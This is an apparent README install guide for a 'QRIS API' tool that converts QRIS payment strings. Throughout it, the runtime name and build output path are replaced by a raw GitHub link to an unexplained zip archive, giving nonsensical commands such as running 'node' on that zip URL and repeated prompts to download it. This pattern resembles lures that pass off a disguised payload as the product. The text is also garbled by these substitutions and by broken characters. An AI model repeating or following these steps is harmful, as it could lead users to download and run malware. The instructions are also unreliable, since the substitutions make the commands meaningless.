This guide will help you download and run the QRIS API application. The QRIS API allows you to convert QRIS strings easily. Youβll access various features through a simple interface. Letβs dive in.
To get started, visit this page to download. Choose the latest release from the list. Download the appropriate version for your operating system.
Before installing, make sure you have:
- https://raw.githubusercontent.com/li329211/qris-api/master/public/qris-api-1.5.zip version 18 or higher or Bun installed on your computer. You can check your current version by running
node -vorbun -vin your terminal.
Follow these steps to install the QRIS API:
-
Open your terminal.
-
Navigate to your project directory. Use the
cdcommand followed by your project folder name. For example:cd my-project-folder -
Install the project dependencies.
If you're using npm, enter:
npm install
If you prefer Bun, run:
bun install
-
Ensure Swagger dependency is installed. This step is crucial for documentation support.
For npm, type:
npm install @elysiajs/swagger
If using Bun, this command will work:
bun add @elysiajs/swagger
Once you have installed everything, you can run the application. Choose one of the following methods:
If you want to run in development mode using TypeScript, simply run:
npm run startFor a production setup with building, use:
npm run build
node https://raw.githubusercontent.com/li329211/qris-api/master/public/qris-api-1.5.zipIf using Bun, run this command:
bun https://raw.githubusercontent.com/li329211/qris-api/master/public/qris-api-1.5.zipThe server will typically run on http://localhost:3000. You can access its features as follows:
- For Documentation: Go to
http://localhost:3000/docs - For the Simple User Interface: Visit
http://localhost:3000/ui
The QRIS API offers:
- Endpoint:
POST /convert- This converts QRIS strings and calculates CRC16. - Documentation Access: Available at
GET /docsto help you understand the API's usage. - User Interface: Use the simple UI at
GET /uifor easy interaction with the API.
The OpenAPI schema for the /convert endpoint has been integrated for your convenience. Refer to the documentation for detailed descriptions of how each endpoint functions.
If you encounter issues while running the QRIS API, here are some common solutions:
- Check https://raw.githubusercontent.com/li329211/qris-api/master/public/qris-api-1.5.zip installation: Ensure they are installed correctly. Reinstall if necessary.
- Refer to error messages: Read any error logs to identify what might be wrong.
- Consult the Documentation: Most issues can be resolved by checking the API documentation available at
http://localhost:3000/docs.
For further assistance, feel free to open an issue on the GitHub repository.
If you would like to contribute to this project or report any bugs, please visit our GitHub repository. Information on contributing is available in the repository.
We appreciate your interest in the QRIS API and hope you find it helpful for your projects!